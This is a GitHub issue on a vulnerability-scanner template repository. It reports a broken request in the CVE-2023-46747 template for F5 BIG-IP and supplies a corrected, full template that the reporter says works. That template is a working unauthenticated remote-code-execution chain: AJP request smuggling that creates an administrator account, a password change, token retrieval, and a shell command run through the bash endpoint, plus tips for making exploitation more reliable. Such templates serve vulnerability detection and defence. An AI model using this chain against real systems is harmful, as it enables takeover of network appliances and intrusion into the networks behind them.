projectdiscovery / nuclei-templates

Community curated list of templates for the nuclei engine to find security vulnerabilities.
https://github.com/projectdiscovery/nuclei
MIT License
8.63k stars 2.47k forks source link

CVE-2023-46747 template has an invalid PATCH request #8590

Open joelland opened 8 months ago

joelland commented 8 months ago

I've been investigating CVE-2023-46747 on various versions of BIG-IP and found that the nuclei template for this vulnerability has an invalid PATCH request that fails with a 401 response, disrupting all subsequent requests due to the use of the resultant invalid value of password2 and causing the exploit to fail. Through my own testing, I've figured out what a correct PATCH request looks like, and in the template it should be:

        PATCH /mgmt/tm/auth/user/{{hex_decode(username)}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(hex_decode(username)+":"+hex_decode(password))}}
        Content-Type: application/json;charset=UTF-8
        Origin: https://{{Hostname}}
        Sec-Fetch-Site: same-origin
        Sec-Fetch-Mode: cors
        Sec-Fetch-Dest: empty
        Referer: https://{{Hostname}}/tmui/tmui/login/expired_password/app/index.html

        {"oldPassword":"{{hex_decode(password)}}","password": "{{password2}}"}

Note the addition of several headers and the inclusion of "oldPassword" in the JSON. I've confirmed that the updated template works against BIG-IP versions 16.1.2 and 17.1.0.3. Note that in version 16.1.2 (and earlier versions) accounts are created with an active password and the PATCH request is not necessary at all.

Also note that, at least in my testing, exploitation is a little unstable. It helps to build in time delays between sending some of the requests. Without any delays, exploitation tends to fail in version 16.1.3.1 in particular, even with the updated PATCH request template.

The original, incorrect PATCH template has been confirmed NOT to work in versions 15.1.8, 16.1.2, 16.1.3.1, and in 17.1.0.3.

Nuclei Version:

3.0.3

Template file:

http/cves/2023/CVE-2023-46747.yaml

Command to reproduce:

./nuclei -u https://192.168.92.138 -t cves/2023/CVE-2023-46747.yaml -v -debug

joelland commented 8 months ago

Here's a copy of my updated template that works on all versions tested (15.1.8, 16.1.2, 16.1.3.1, 17.1.03). Note the updated PATCH request and the addition of a 5-second delay before making the PATCH request (this is crucial, as in all of my test devices, there is a delay in exploiting the vulnerability to add credentials and those credentials being available for use):

id: CVE-2023-46747

info:
  name: F5 BIG-IP - Unauthenticated RCE via AJP Smuggling
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    CVE-2023-46747 is a critical severity authentication bypass vulnerability in F5 BIG-IP that could allow an unauthenticated attacker to achieve remote code execution (RCE). The vulnerability impacts the BIG-IP Configuration utility, also known as the TMUI, wherein arbitrary requests can bypass authentication. The vulnerability received a CVSSv3 score of 9.8.
  reference:
    - https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/
    - https://my.f5.com/manage/s/article/K000137353
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-46747
    cwe-id: CWE-288
    epss-score: 0.00091
    epss-percentile: 0.38535
  metadata:
    max-request: 4
    verified: true
    shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
  tags: cve,cve2023,rce,f5,bigip,unauth,ajp,smuggling,intrusive

variables:
  username: "{{hex_encode(rand_base(5))}}"
  password: "{{hex_encode(rand_base(12))}}"
  password2: "{{rand_base(14)}}"

http:
  - raw:
      - |+
        POST /tmui/login.jsp HTTP/1.1
        Host: {{Hostname}}
        Transfer-Encoding: chunked, chunked
        Content-Type: application/x-www-form-urlencoded

        204
        {{ hex_decode(concat("0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000003000b546d75692d44756262756600000b424242424242424242424200000a52454d4f5445524f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d756925326673797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746d756925326673797374656d253266757365722532666372656174652e6a737025336626666f726d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494c3452556e537758596f5055494f47634f4678326f30305863253364265f62756676616c75655f6265666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d266e616d653d",username,"266e616d655f6265666f72653d267061737377643d",password,"267061737377645f6265666f72653d2666696e69736865643d782666696e69736865645f6265666f72653d00ff00")) }}
        0

    unsafe: true

  - raw:
      - |+
        {{wait_for(5)}}

  - raw:
      - |+
        PATCH /mgmt/tm/auth/user/{{hex_decode(username)}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(hex_decode(username)+":"+hex_decode(password))}}
        Content-Type: application/json;charset=UTF-8
        Origin: https://{{Hostname}}
        Sec-Fetch-Site: same-origin
        Sec-Fetch-Mode: cors
        Sec-Fetch-Dest: empty
        Referer: https://{{Hostname}}/tmui/tmui/login/expired_password/app/index.html

        {"oldPassword":"{{hex_decode(password)}}","password": "{{password2}}"}

      - |+
        POST /mgmt/shared/authn/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{hex_decode(username)}}", "password":"{{password2}}"}

      - |+
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: {{Hostname}}
        X-F5-Auth-Token: {{token}}
        Content-Type: application/json

        {"command":"run","utilCmdArgs":"-c id"}

    extractors:
      - type: regex
        part: body_2
        name: token
        group: 1
        regex:
          - "([A-Z0-9]{26})"
        internal: true

      - type: regex
        part: body_3
        group: 1
        regex:
          - "\"commandResult\":\"(.*)\""

      - type: dsl
        dsl:
          - '"Username:" + hex_decode(username)'
          - '"Password:" + password2'
          - '"Token:" + token'

    matchers:
      - type: word
        words:
          - "commandResult"
          - "uid="
        condition: and
# digest: 4a0a00473045022071bddfdc0bbe5945fe7829cf34774237e719b64db2c477cec65bb4da57c9b44c022100e15fe5b919285d7b4c1b1c8c403422d0319c7b6269dc6143f5daad3b9f102655:922c64590222798bb761d5b6d8e72950